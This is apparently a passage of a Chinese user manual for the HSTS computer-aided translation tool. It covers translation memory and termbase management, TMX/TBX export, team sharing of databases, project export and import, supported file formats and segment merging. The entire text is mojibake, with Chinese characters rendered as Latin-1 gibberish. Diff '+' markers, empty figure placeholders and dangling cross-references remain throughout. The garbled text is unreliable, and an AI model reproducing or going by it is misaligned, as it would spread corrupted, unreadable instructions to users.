    + + + + æ–‡ä»¶ç¼–ç  + + 在使用éžUnicodeç¼–ç æ—¶ï¼Œæœ‰äº›ç›®æ ‡è¯­è¨€çš„字符å¯èƒ½æ— æ³•æ­£å¸¸æ˜¾ç¤ºï¼Œéœ€è¦ä¸ºç›®æ ‡æ–‡ä»¶æŒ‡å®šç¼–ç ï¼Œä¾‹å¦‚: + ä¸ºç›®æ ‡æ–‡ä»¶é€‰æ‹©ç¼–ç  + + æºæ–‡ä»¶æ˜¯ASCIIç¼–ç çš„英文文件,翻译为中文åŽå°±ä¸å¯ä»¥ä½¿ç”¨ASCIIç¼–ç ï¼Œè€Œå»ºè®®ä½¿ç”¨UTF-8或GBKç¼–ç ä¿å­˜ç›®æ ‡æ–‡ä»¶ã€‚ + + + + + 覆盖åŒå文件 + + 若将è¦ç”Ÿæˆçš„目标文件已存在åŒå文件,将无法继续转æ¢ã€‚若用户确认已存在的åŒå目标文件已ç»ä¸å†éœ€è¦ï¼Œåˆ™é€‰ä¸­æ­¤é¡¹ï¼›å¦åˆ™ç”¨æˆ·åº”先移动或é‡å‘½å已存在的目标文件,然åŽé‡æ–°å°è¯•è½¬æ¢ã€‚ + + +
    + + + 点击确定按钮。转æ¢å‡ºæ¥çš„目标文件如下: + +
    + ç”± XLIFF 转æ¢è€Œæˆçš„目标文件 + + + + + + + + +
    +
    +
    + + 转æ¢å®ŒæˆåŽçš„目标文件将ä¿æŒXLIFF文件夹中的目录结构(该目录结构åˆæ˜¯ç»§æ‰¿è‡ªæºæ–‡ä»¶çš„目录结构),存放在/Target/目标语言代ç ç›®å½•ä¸‹é¢ã€‚ +
    +
    +
    + + + è®°å¿†åº“å’Œæœ¯è¯­åº“çš„ç»´æŠ¤å’Œç®¡ç† + + æ•°æ®åº“(包括记忆库和术语库)是 CAT + 工具工作过程中最为é‡è¦çš„部分之一,它负责ä¿å­˜æ‰€æœ‰ç¿»è¯‘过的内容(包括å¥å­å’Œæœ¯è¯­ï¼‰ï¼Œå¹¶åœ¨é€‚当的时候展示出æ¥ä¾›ç”¨æˆ·å‚考。数æ®åº“既是用户翻译的历å²ï¼Œä¹Ÿæ˜¯ç”¨æˆ·æ™ºæ…§çš„结晶。显而易è§ï¼Œå¯¹æ•°æ®åº“的维护和管ç†æ˜¯æžä¸ºé‡è¦çš„一项工作。 + + 对于数æ®åº“的维护和管ç†ï¼Œæˆ‘们有如下建议: + + + + 在æ“作上区分终稿库和过程库 + + 终稿是指ç»è¿‡ç¿»è¯‘ã€ç¼–辑ã€æ ¡å¯¹ç­‰æ­¥éª¤ä¹‹åŽï¼Œäº¤ä»˜ç»™å®¢æˆ·çš„最终译文,具有较高的翻译质é‡å’Œå‚考价值。这类译文终稿应作为项目的最终存档ã€ä»¥å¤šç§å½¢å¼é•¿æœŸä¿å­˜ã€‚终稿库åªæ˜¯å…¶ä¸­ä¸€ç§ä¿å­˜å½¢å¼ï¼Œå¦å¤–还å¯ä»¥ä»¥ + TMX/TBX 文件等格å¼å­˜æ¡£å¤‡ä»½ã€‚ + + 过程库则用以ä¿å­˜ç¿»è¯‘人员在翻译项目的过程中的译文è‰ç¨¿ï¼Œç”±äºŽæœªç»å®¡æ ¸ï¼Œå…¶ä¸­å¯èƒ½å­˜åœ¨ä¸€äº›ä¸å¤Ÿæ°å½“的翻译和错误。但过程库也有终稿库ä¸å¯æ¯”拟的优势:过程库中的译文更加贴近于当å‰æ­£åœ¨ç¿»è¯‘的项目ã€å†…容的更新更加åŠæ—¶ã€‚ + + + + 对数æ®åº“进行分类 + + 终稿库通常å¯ä»¥æŒ‰è¡Œä¸šé¢†åŸŸæˆ–题æã€å®¢æˆ·ã€è¯­è¨€å¯¹ã€é¡¹ç›®ç­‰åˆ†ç±»ï¼ŒåŒä¸€åˆ†ç±»çš„内容ä¿å­˜åœ¨åŒä¸€ä¸ªæ•°æ®åº“中。在翻译åŒä¸€åˆ†ç±»çš„项目的时候,终稿库å¯ä»¥ä½œä¸ºå‚考库æ供给翻译人员å‚考。 + + 过程库则å¯ä»¥æŒ‰é¡¹ç›®æ¥åˆ›å»ºï¼Œåœ¨æ•´ä¸ªé¡¹ç›®çš„生命周期内å¯ä»¥ä¾›æ‰€æœ‰ç¿»è¯‘ã€ç¼–辑ã€æ ¡å¯¹ç­‰äººå‘˜å‚考和修改——并在最åŽå¾—到终稿。在将终稿存档到终稿库之åŽï¼Œå³å¯å°†è¿‡ç¨‹åº“也åŒæ—¶å­˜æ¡£æˆ–删除。 + + + + + 更新记忆库 + + 更新记忆库是将翻译好的åŒè¯­ XLIFF + 文件中的所有å¥å­æºæ–‡å’Œè¯‘æ–‡ä¿å­˜åˆ°è®°å¿†åº“中。通常用于将一个翻译项目的所有译文终稿存档到终稿库中。步骤如下: + + + + 选择项目,点击å³é”®èœå•/项目èœå• > + 项目设置 > + 记忆库,确认项目已设置默认记忆库,详情请å‚考; + 对于终稿,建议使用全新创建的数æ®åº“或已有的终稿库,而ä¸è¦ä½¿ç”¨è¿‡ç¨‹åº“。 + + + + + 在项目中选择一个或多个 XLIFF 文件或文件夹,点击å³é”®/项目èœå• > + 更新记忆库; + +
    + 更新记忆库 + + + + + + + + +
    +
    + + + 在更新记忆库对è¯æ¡†ä¸­ï¼Œæ ¹æ®éœ€è¦å¯è®¾ç½®å¦‚下å‚数:
    + 更新记忆库对è¯æ¡† + + + + + + + + +
    + + + + 范围 + + 需è¦å…¥åº“的文本段状æ€ï¼š + + + + è‰ç¨¿ + + + + 已翻译 + + + + 已批准 + + + + å·²ç­¾å‘ + + + + å·²é”定 + + + + + + 选项 + + + + é‡å¤é¡¹å¤„ç†ï¼šè¯·å‚考。 + + + + +
    + + + 点击确定按钮。 + +
    +
    + + + è®°å¿†åº“ç®¡ç† + + 除了在创建项目时创建记忆库,HSTS + 还æ供了专门的记忆库管ç†åŠŸèƒ½ï¼Œä¸éœ€è¦æ‰“开项目也å¯ä»¥å¯¹æ•°æ®åº“æœåŠ¡å™¨ä¸Šçš„记忆库进行创建和删除。记忆库管ç†ç•Œé¢å¯ä»¥é€šè¿‡æ•°æ®åº“èœå• + > 记忆库管ç†æ‰“开。 + + + 创建 + + 在记忆库管ç†å¯¹è¯æ¡†ä¸­åˆ›å»ºè®°å¿†åº“的步骤如下: + +
    + è®°å¿†åº“ç®¡ç† + + + + + + + + +
    + + + + 在左边选择数æ®åº“æœåŠ¡å™¨çš„类型;
    + 记忆库管ç†å¯¹è¯æ¡† + + + + + + + + +
    +
    + + + 在å³è¾¹è¾“入相应的数æ®åº“æœåŠ¡å™¨è¿žæŽ¥ä¿¡æ¯ï¼Œç‚¹å‡»æœç´¢æŒ‰é’®ï¼› + + + + 若填写的数æ®åº“ä¿¡æ¯æ— è¯¯ã€ä¸”该æœåŠ¡å™¨å’Œç½‘络å‡æ­£å¸¸ï¼Œåˆ™ä¼šæ˜¾ç¤ºè¯¥æ•°æ®åº“æœåŠ¡å™¨ä¸Šçš„记忆库列表; + + + + 点击创建按钮,输入记忆库å称并确定。
    + 创建记忆库 + + + + + + + + +
    +
    +
    + + 第 3 + 步中,正确连接åŽçš„æ•°æ®åº“ä¿¡æ¯ä¼šè‡ªåŠ¨ä¿å­˜åœ¨å¯¹è¯æ¡†å·¦è¾¹çš„对应数æ®åº“类型中。当需è¦å†æ¬¡æŸ¥è¯¢è¯¥æ•°æ®åº“æœåŠ¡å™¨çš„时候,åªéœ€å•å‡»ç›¸åº”çš„æ•°æ®åº“å³å¯ï¼Œæ— éœ€é‡æ–°è¾“入数æ®åº“ä¿¡æ¯ã€‚ +
    + + + 删除 + + 在记忆库管ç†å¯¹è¯æ¡†ä¸­åˆ é™¤æ•°æ®åº“的步骤与创建类似,ä¸åŒä¹‹å¤„就是在最åŽä¸€æ­¥åº”点击删除按钮并确定。 + + + 被删除的记忆库将无法æ¢å¤ï¼Œè¯·åŠ¡å¿…在删除记忆库å‰ç¡®è®¤è¯¥è®°å¿†åº“已导出为 TMX + 备份,或确认其中的内容确实已ç»ä¸å†éœ€è¦ã€‚ + + +
    + + + 将记忆库导出为 TMX + + TMX 文件被广泛用于在ä¸åŒçš„ CAT 工具之间交æ¢è®°å¿†åº“,HSTS æ”¯æŒ TMX文件的导入和导出。其中,导入 TMX + 文件的功能已ç»åœ¨åˆ›å»ºé¡¹ç›®çš„阶段介ç»è¿‡ï¼Œè¯¦æƒ…请è§ï¼Œä¸‹é¢æ˜¯å°†è®°å¿†åº“导出为 TMX çš„æ“作步骤: + + + + 点击数æ®åº“èœå• > 导出 + TMXï¼› + +
    + 将记忆库导出为 TMX + + + + + + + + +
    +
    + + + 在导出记忆库为 TMX + 文件对è¯æ¡†ä¸­ï¼Œéœ€è¦è®¾ç½®å¦‚下å‚数:
    + 将记忆库导出为 TMX + + + + + + + + +
    + + + + 记忆库 + + + + 添加 + + 点击该按钮åŽå°†å¼¹å‡ºè®°å¿†åº“管ç†å¯¹è¯æ¡†ï¼Œåœ¨å…¶ä¸­é€‰æ‹©è¦å¯¼å‡ºçš„记忆库åŽç¡®å®šå³å¯ã€‚ + +
    + 选择è¦å¯¼å‡ºçš„记忆库 + + + + + + + + +
    +
    + + + 移除 + + 将已添加到待导出列表中的记忆库移出列表。 + + + + 导出语言 + + 选择列表中的记忆库åŽï¼Œæ­¤å¤„会列出该记忆库中的语言,至少应选择两个语言æ‰å¯ä»¥å¯¼å‡ºã€‚ + + + + æºè¯­è¨€ + + 导出的 TMX + 应以哪个语言为æºè¯­è¨€ï¼Œå¦‚æžœä¸ç¡®å®šï¼Œå¯ä»¥é€‰æ‹©*all*。 + +
    + 导出 TMX 选项 + + + + + + + + +
    +
    +
    +
    + + + 过滤规则 + + + + 添加 + + 选中的过滤规则为无的时候,点击编辑按钮å³å¯æ·»åŠ ä¸€æ¡æ–°çš„过滤规则。一æ¡è¿‡æ»¤è§„则包å«å¦‚下内容: + +
    + 导出 TMX:过滤规则 + + + + + + + + +
    + + + + å称 + + + + æ¡ä»¶ç»„åˆç±»åž‹ + + 满足以下所有æ¡ä»¶ã€æ»¡è¶³ä»¥ä¸‹ä»»ä¸€æ¡ä»¶ + + + + æ¡ä»¶ + + + + 文本段 + + + + 创建时间 + + + + 修改时间 + + + + 创建者 + + + + 修改者 + + + + 批注 + + + + +
    + + + 编辑 + + 选中已ä¿å­˜çš„过滤规则åŽï¼Œç‚¹å‡»ç¼–辑按钮则为编辑该过滤规则。 + + + + 删除 + + 删除选中的过滤规则。 + + + + 仅导出带旗标的文本段 + + 在满足上述过滤规则的基础上,仅导出其中带有旗标的文本段内容。 + +
    +
    + + + 导出选项 + + + + 一级 TMX + + 去除所有内部标记,若è¦å°†è¯¥ TMX 导入 Trados 则需è¦é€‰ä¸­æ­¤é¡¹ã€‚ + + + + è‡ªå®šä¹‰ç¼–ç  + + 指定 TMX 文件使用的编ç ï¼Œé»˜è®¤ä½¿ç”¨UTF-8,通常ä¸éœ€è¦ä¿®æ”¹ã€‚è‹¥è¦å°†è¯¥ + TMX 导入 Trados 则需è¦é€‰æ‹©UTF-16LEç¼–ç ã€‚ + + + + + + TMX ä¿å­˜è·¯å¾„ + +
    +
    +
    +
    + + + æœ¯è¯­åº“ç®¡ç† + + 如下图所示,术语库管ç†çš„ç•Œé¢åŠŸèƒ½å’Œæ“作步骤å‡ä¸Žè®°å¿†åº“管ç†å¯¹è¯æ¡†å‡ ä¹Žå®Œå…¨ä¸€æ ·ï¼Œæ•…ä¸å†èµ˜è¿°ã€‚ + +
    + 术语库管ç†å¯¹è¯æ¡† + + + + + + + + +
    +
    + + + 将术语库导出为 TBX + + 与记忆库å¯ä»¥å¯¼å‡ºã€å¯¼å…¥ TMX 文件类似,术语库也å¯ä»¥é€šè¿‡å¯¼å‡ºã€å¯¼å…¥ TBX 文件在ä¸åŒçš„ CAT + 工具之间交æ¢æœ¯è¯­æ•°æ®ï¼Œæ–¹æ³•å¦‚下: + + + + 点击数æ®åº“èœå• > 导出 + TBXï¼›
    + 导出术语库为 TBX + + + + + + + + +
    +
    + + + 在导出术语库为 TBX + 文件对è¯æ¡†ä¸­ï¼Œéœ€è¦è®¾ç½®å¦‚下å‚数: + +
    + 导出术语库为 TBX + + + + + + + + +
    + + + + 术语库 + + + + 添加 + + 点击该按钮åŽå°†å¼¹å‡ºæœ¯è¯­åº“管ç†å¯¹è¯æ¡†ï¼Œåœ¨å…¶ä¸­é€‰æ‹©è¦å¯¼å‡ºçš„术语库åŽç¡®å®šå³å¯ã€‚ + +
    + 选择è¦å¯¼å‡ºçš„术语库 + + + + + + + + +
    +
    + + + 移除 + + 将已添加到待导出列表中的术语库移出列表。 + + + + 导出语言 + + 选择列表中的术语库åŽï¼Œæ­¤å¤„会列出该术语库中的语言,至少应选择两个语言æ‰å¯ä»¥å¯¼å‡ºã€‚ + + + + æºè¯­è¨€ + + 导出的 TBX 应以哪个语言为æºè¯­è¨€ã€‚ + +
    +
    + + + 过滤规则 + + + + 添加 + + 选中的过滤规则为无的时候,点击编辑按钮å³å¯æ·»åŠ ä¸€æ¡æ–°çš„过滤规则。一æ¡è¿‡æ»¤è§„则包å«å¦‚下内容: + +
    + 导出 TBX:过滤规则 + + + + + + + + +
    + + + + å称 + + + + æ¡ä»¶ç»„åˆç±»åž‹ + + 满足以下所有æ¡ä»¶ã€æ»¡è¶³ä»¥ä¸‹ä»»ä¸€æ¡ä»¶ + + + + æ¡ä»¶ + + + + 术语内容 + + + + +
    + + + 编辑 + + 选中已ä¿å­˜çš„过滤规则åŽï¼Œç‚¹å‡»ç¼–辑按钮则为编辑该过滤规则。 + + + + 删除 + + 删除选中的过滤规则。 + +
    +
    + + + è‡ªå®šä¹‰ç¼–ç  + + 指定 TBX 文件使用的编ç ï¼Œé»˜è®¤ä½¿ç”¨UTF-8,通常ä¸éœ€è¦ä¿®æ”¹ã€‚ + + + + TBX ä¿å­˜è·¯å¾„ + +
    +
    +
    +
    +
    + + + 团队å作 + + 一个翻译项目通常是由一个团队æ¥å®Œæˆå·¥ä½œï¼Œå› æ­¤ä¸å¯é¿å…会涉åŠåˆ°å›¢é˜Ÿå作的问题,HSTS 为团队å作æ供了良好的支æŒã€‚ + + + æ•°æ®åº“的共享 + + 与大部分 CAT 工具将æœåŠ¡å™¨å…±äº«åŠŸèƒ½åšæˆå•ç‹¬çš„产å“ã€å¹¶ä»¥é«˜æ˜‚的价格出售的åšæ³•ä¸åŒï¼ŒHSTS + 的专业版åŠæ›´é«˜çš„版本å‡æ”¯æŒå¤–部数æ®åº“æœåŠ¡å™¨ï¼ˆè¯¦ç»†çš„æ•°æ®åº“支æŒç±»åž‹è¯·å‚考外部数æ®åº“æœåŠ¡å™¨ï¼‰ï¼Œå¹¶å…许在团队æˆå‘˜ä¹‹é—´å…±äº«ä½¿ç”¨å»ºç«‹åœ¨è¿™äº›æ•°æ®åº“æœåŠ¡å™¨ä¹‹ä¸Šçš„记忆库和术语库。 + + 按照å‰é¢å»ºè®®çš„æ•°æ®åº“维护和管ç†æ–¹æ¡ˆï¼Œå¯ä»¥åœ¨ä»»æ„一å°ä½œä¸ºæœåŠ¡å™¨çš„电脑上创建终稿库和过程库(分别å‡åŒ…括记忆库和术语库),翻译团队的æˆå‘˜åªè¦åœ¨é¡¹ç›®ä¸­æ·»åŠ å·²åˆ›å»ºå¥½çš„记忆库/术语库å³å¯ã€‚ + + 如果您的团队需è¦è·¨åœ°åŸŸè¿›è¡Œè®°å¿†åº“或术语库共享,也å¯ä»¥ä½¿ç”¨æ•°æ®åº“云,HSTS åŒæ—¶æ”¯æŒ Amazon RDS å’Œ + ClearDB,详细信æ¯å¯ä»¥æŸ¥çœ‹å„厂商的产å“网站。 + + + 默认库与éžé»˜è®¤åº“的区别 + + 在 HSTS + 中,æ¯ä¸ªé¡¹ç›®éƒ½å¯ä»¥è®¾ç½®ä¸€ä¸ªé»˜è®¤çš„记忆库/术语库,å¦å¤–还å¯ä»¥æœ‰ä¸é™ä¸ªæ•°çš„éžé»˜è®¤åº“(也称为å‚考库)。默认库与å‚考库的区别是:å‚考库为åªè¯»ï¼Œå³å¯ä»¥æŸ¥è¯¢è¯¥åº“中的匹é…ã€ä½†ä¸å¯ä»¥å°†æ–‡æœ¬æ®µå…¥åº“到其中;而默认库ä¸ä½†å¯ä»¥è¯»ã€è¿˜å¯ä»¥å°†æ–‡æœ¬æ®µå…¥åº“。 + + 除此之外,对数æ®åº“çš„æƒé™æŽ§åˆ¶è¿˜å¯ä»¥ç»“åˆæ•°æ®åº“æœåŠ¡å™¨æœ¬èº«çš„用户管ç†æœºåˆ¶æ¥å®žçŽ°ï¼Œè¯¦æƒ…请å‚考相应的数æ®åº“æœåŠ¡å™¨çš„管ç†æ–‡æ¡£ã€‚ + + + + + 导出项目 + + 导出项目是指把一个项目导出为 ZIP + 压缩包,方便团队æˆå‘˜ä¹‹é—´äº¤æ¢é¡¹ç›®ï¼Œä»¥å®žçŽ°é¡¹ç›®ä»Žå‰ä¸€ä¸ªå·¥ä½œæµç¨‹ä¼ é€’到åŽä¸€ä¸ªå·¥ä½œæµç¨‹ã€æˆ–将一个大项目分å‘给多个团队æˆå‘˜ååŒå®Œæˆï¼Œå¹¶é¿å…频ç¹åœ°è¿›è¡Œåˆ›å»ºé¡¹ç›®ã€è¾“入项目信æ¯ã€è®¾ç½®è®°å¿†åº“/术语库等é‡å¤åŠ³åŠ¨ã€‚下é¢åˆ†åˆ«å¯¹è¿™ä¸¤ç§åº”用场景下的导出项目方å¼è¿›è¡Œæ述: + + + æµç¨‹ä¼ é€’ + + 项目从å‰ä¸€ä¸ªå·¥ä½œæµç¨‹ä¼ é€’到åŽä¸€ä¸ªæµç¨‹æ—¶ï¼Œé€šå¸¸éœ€è¦å®Œæ•´åœ°æŠŠæ•´ä¸ªé¡¹ç›®å¯¼å‡ºï¼Œæ­¥éª¤å¦‚下: + + + + 在项目视图选择è¦å¯¼å‡ºçš„项目; + + + + 点击项目èœå• > + 导出项目;
    + 导出整个项目 + + + + + + + + +
    +
    + + + 若在第一步没有选择项目,还å¯ä»¥åœ¨è¿™ä¸ªå¯¼å‡ºé¡¹ç›®å¯¹è¯æ¡†ä¸­é€‰æ‹©è¦å¯¼å‡ºçš„项目。若åªæƒ³å¯¼å‡ºç‰¹å®šæ ¼å¼çš„文件,å¯ä»¥ç‚¹å‡»è¿‡æ»¤å™¨ç±»åž‹æŒ‰é’®ï¼Œç„¶åŽé€‰æ‹©æˆ–输入文件åŽç¼€åï¼› + +
    + 导出项目对è¯æ¡† + + + + + + + + +
    +
    + + + 点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©è¦ä¿å­˜çš„路径和文件åï¼› + + + + 点击确定按钮开始导出选中的项目。 + +
    +
    + + + é¡¹ç›®åˆ†å‘ + + 需è¦å°†é¡¹ç›®åˆ†å‘给多个团队æˆå‘˜çš„时候,为方便æ“作,建议先把è¦åˆ†å‘ç»™ä¸åŒäººå‘˜çš„文件分别存放在ä¸åŒçš„文件夹中,然åŽæŒ‰å¦‚下步骤æ“作: + + + + 点击项目èœå• > + 导出项目;
    + 导出项目的部分文件 + + + + + + + + +
    +
    + + + 在导出项目对è¯æ¡†ä¸­ï¼Œåªé€‰æ‹©è¯¥é¡¹ç›®ä¸­è¦å¯¼å‡ºç»™ç¬¬ä¸€ä¸ªå›¢é˜Ÿæˆå‘˜çš„文件/文件夹,包括项目中共åŒçš„å‚考文件等; + +
    + 导出项目:部分文件 + + + + + + + + +
    +
    + + + 点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©è¦ä¿å­˜çš„路径和文件åï¼› + + + + 点击确定按钮开始导出选中的项目,导出的项目包格å¼ä¸º + .hszipï¼› + + + + é‡å¤ç¬¬ 1~4 步,分别导出è¦åˆ†å‘ç»™æ¯ä¸ªå›¢é˜Ÿæˆå‘˜çš„文件。 + +
    +
    +
    + + + 导入项目 + + æ ¹æ®ä¸åŒçš„导入目的,在导入项目时的æ“作也有所区别: + + + æµç¨‹ä¼ é€’ + + 把项目从å‰ä¸€ä¸ªå·¥ä½œæµç¨‹ä¼ é€’到åŽä¸€ä¸ªæµç¨‹æ—¶ï¼Œè´Ÿè´£åŽä¸€ä¸ªæµç¨‹çš„项目æˆå‘˜ä¸éœ€è¦åˆ›å»ºé¡¹ç›®ï¼Œåªè¦å¯¼å…¥å‰ä¸€ä¸ªæµç¨‹çš„æˆå‘˜å¯¼å‡ºçš„项目å³å¯åœ¨å‰ä¸€æµç¨‹çš„基础上继续工作。步骤如下: + + + + 点击项目èœå• > + 导入项目;
    + 导入项目 + + + + + + + + +
    +
    + + + 点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©è¦å¯¼å…¥çš„项目包 .hszip + 文件; + +
    + 导入项目对è¯æ¡† + + + + + + + + +
    +
    + + + 默认自动选择项目包文件中的所有项目准备导入,确认无误åŽç‚¹å‡»å®ŒæˆæŒ‰é’®ã€‚ + +
    + + + 如果待导入项目已存在,则会在å³è¾¹åˆ—出已存在的åŒå文件,在å³è¾¹é€‰ä¸­çš„文件将在导入项目时被覆盖为项目包中的版本。 + +
    + + + 汇总更新 + + 对于分å‘给多个项目æˆå‘˜çš„项目,在项目完æˆå‰éœ€è¦å°†æ‰€æœ‰å·²å®Œæˆçš„文件统一汇总到æŸä¸ªæˆå‘˜ï¼ˆé€šå¸¸æ˜¯è´Ÿè´£åˆ†å‘项目的人员,如项目ç»ç†è¿™ä¸€ç±»è§’色)的已有项目中。这时,项目æˆå‘˜å¯ä»¥å°†é¡¹ç›®å¯¼å‡ºä¸ºé¡¹ç›®åŒ… + .hszip 文件,然åŽå†ç”±æ±‡æ€»äººå‘˜å¯¼å…¥å¹¶è¦†ç›–更新过的文件(通常åªè¦è¦†ç›– XLIFF + 文件夹下的内容å³å¯ï¼‰ã€‚ + +
    + + + RTF 外部校对 + + 关于将 XLIFF 内容导出到 RTF 文件中进行外部校对的使用情况,请å‚考:ã€ã€‚ + +
    + + + 处ç†ä¸åŒçš„æ–‡ä»¶æ ¼å¼ + + + + Microsoft Office 2003 文件 + + Microsoft Office 2003 + åŠæ›´æ—©ç‰ˆæœ¬çš„文档为间接支æŒçš„æºæ–‡ä»¶ç±»åž‹ï¼Œè¯·å…ˆåˆ° www.openoffice.org + 网站å…费下载ã€å¹¶å®‰è£… OpenOffice 程åºï¼Œç„¶åŽåœ¨å·¥å…·èœå• > + 选项 > 翻译中设置 + OpenOffice 的安装路径。此åŽå°±å¯ä»¥åƒå…¶ä»–直接支æŒçš„æ ¼å¼ä¸€æ ·è½¬æ¢ Microsoft Office 2003 + 文档了,详细的转æ¢æ­¥éª¤è¯·å‚考:。 + +
    + 选项:翻译 + + + + + + + + +
    +
    + + + Microsoft Office 2007/2010 文件 + + HSTS 直接支æŒä»¥ Microsoft Office 2007(包括 Wordã€Excelã€PowerPoint + 在内)åŠæ›´æ–°ç‰ˆæœ¬çš„文件作为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + 对于 Microsoft Excel + 2007/2010,还å¯ä»¥è®¾ç½®æ˜¯å¦æŽ’除红色字体å•å…ƒæ ¼ï¼š + +
    + 选项:Excel 转æ¢å‚æ•° + + + + + + + + +
    + + 对于 Microsoft PowerPoint + 2007/2010,也å¯ä»¥è®¾ç½®æ˜¯å¦æŽ’除备注(目å‰æš‚未处ç†æ¯ç‰ˆå†…容åŠå›¾ç‰‡è·¯å¾„): + +
    + 选项:PowerPoint 转æ¢å‚æ•° + + + + + + + + +
    +
    + + + TTX + + 对于 Trados 2007 åŠæ›´æ—©ç‰ˆæœ¬çš„åŒè¯­æ–‡æ¡£æ ¼å¼ï¼ŒHSTS 仅支æŒä»¥é¢„分割的 + TTX 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + SDLXLIFF + + HSTS 直接支æŒä»¥ SDL Trados 2009 åŠæ›´æ–°ç‰ˆæœ¬çš„åŒè¯­ XLIFF + 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + Déjà Vu XLIFF + + HSTS 直接支æŒä»¥ Déjà Vu 导出的åŒè¯­ XLIFF 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + MemoQ XLIFF + + HSTS 直接支æŒä»¥ MemoQ çš„åŒè¯­ XLIFF 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + Wordfast Pro TXML + + HSTS 直接支æŒä»¥ Wordfast Pro çš„åŒè¯­ TXML 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + MIF + + HSTS 直接支æŒä»¥ Adobe FrameMaker 7 åŠæ›´æ–°ç‰ˆæœ¬çš„ MIF 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。如果 FrameMaker 7 版本ä¿å­˜çš„ MIF 文件在使用 + HSTS 转æ¢æˆ–处ç†æ—¶å‡ºçŽ°äº†é”™è¯¯ï¼Œè¯·ä½¿ç”¨ FrameMaker 8 或 9 版本程åºå¦å­˜ä¸€æ¬¡ MIF 文件,å†ç”¨ HSTS + æ¥å¤„ç†ã€‚如果客户è¦æ±‚交稿的文件版本为 FrameMaker 7,则在翻译完æˆåŽå†å°†ç›®æ ‡æ–‡ä»¶å¦å­˜ä¸º FrameMaker 7 版本的 MIF + æ ¼å¼ã€‚ + + 在选项中å¯ä»¥è®¾ç½®è½¬æ¢ MIF + 文件时是å¦æŽ’除æ¯ç‰ˆå†…容: + +
    + 选项:MIF 转æ¢å‚æ•° + + + + + + + + +
    +
    + + + IDML + + HSTS 直接支æŒä»¥ Adobe InDesign CS 5.0.1 åŠæ›´æ–°ç‰ˆæœ¬çš„ IDML + 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + RTF + + HSTS 直接支æŒä»¥ RTF 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + HTML + + HSTS 直接支æŒä»¥ HTML 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + XML + + HSTS 直接支æŒä»¥ XML 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:。 + + + + é…ç½® XML 转æ¢å™¨ + + 对于特定的 XML + 文件,在专业版åŠæ——舰版中å¯ä»¥å®šä¹‰å…¶æ¯ä¸ªèŠ‚点和属性值应如何处ç†ï¼Œå…·ä½“如下: + + + + 点击高级èœå• > é…ç½® XML + 转æ¢å™¨ï¼› + +
    + é…ç½® XML 转æ¢å™¨ + + + + + + + + +
    +
    + + + ç‚¹å‡»åˆ†æž XML 文件样本按钮,选择è¦åˆ†æžçš„ XML + 文件;
    + XML 转æ¢å™¨é…置对è¯æ¡† + + + + + + + + +
    +
    + + + æ ¹æ®éœ€è¦ï¼Œå¯¹åˆ†æžåŽçš„结果进行é…置:
    + é…ç½® XML 元素 + + + + + + + + +
    +
    + + + 选择è¦é…置的元素,点击编辑按钮,å¯ä»¥è®¾ç½®å¦‚下内容: + +
    + 元素é…ç½® + + + + + + + + +
    + + + + 元素å称 + + + + 元素类型 + + + + segment + + æå–为文本段 + + + + inline + + æå–为内部标记 + + + + ignore + + 忽略 + + + + + + 内è”类型 + + 仅元素类型为inlineæ—¶å¯å®šä¹‰æ­¤é¡¹ï¼Œå¯é€‰å†…容包括:imageã€pbã€lbã€x-boldã€x-entryã€x-fontã€x-italicã€x-linkã€x-underlinedã€x-other + + + + å¯ç¿»è¯‘属性 + + 该元素中需è¦æå–出æ¥ç¿»è¯‘的属性å称 + + + + ä¿ç•™ç©ºæ ¼ + + +
    +
    +
    +
    +
    +
    +
    + + + 常è§é—®é¢˜ + + + + + + 默认分段ä¸å‡†ç¡®ï¼Œå¦‚何解决? + + + + 如果这ç§åˆ†æ®µä¸å‡†ç¡®çš„情况åªæ˜¯å¶å°”出现,而且没有明显的规律å¯å¾ªï¼Œå¯ä»¥ç”¨åˆå¹¶æ–‡æœ¬æ®µæˆ–分割文本段æ¥ä¿®æ­£ä¸æ­£ç¡®çš„分段。å¦åˆ™ï¼Œå¯ä»¥åœ¨åˆ†æ®µè§„则中修正这类ç»å¸¸æ€§ã€ä¸”有规律的分段问题。 + + + + åˆå¹¶æ–‡æœ¬æ®µ + + 当文本段被过度分段时,用 + Ctrl/Shift + åŠé¼ æ ‡å·¦é”®é€‰æ‹©è¦åˆå¹¶çš„多个连续的文本段,点击编辑èœå• > + åˆå¹¶æ–‡æœ¬æ®µã€‚æ¯ä¸¤ä¸ªåˆå¹¶çš„文本段æºæ–‡ä¹‹é—´ä¼šç”¨ä¸€ä¸ªæ–°ç”Ÿæˆçš„内部标记æ¥è¿žæŽ¥ã€‚
    + åˆå¹¶æ–‡æœ¬æ®µ + + + + + + + + +
    + +
    + åˆå¹¶æ–‡æœ¬æ®µç»“æžœ + + + + + + + + +
    +
    + + + 分割文本段 + + 当文本段分段ä¸è¶³æ—¶ï¼Œå…ˆå°†å…‰æ ‡å®šä½åœ¨æºæ–‡ä¸­éœ€è¦åˆ†å‰²çš„ä½ç½®ä¸Šï¼Œç„¶åŽç‚¹å‡»ç¼–辑èœå• + > 分割文本段。
    + 分割文本段 + + + + + + + + +
    + +
    + 分割文本段结果 + + + + + + + + +
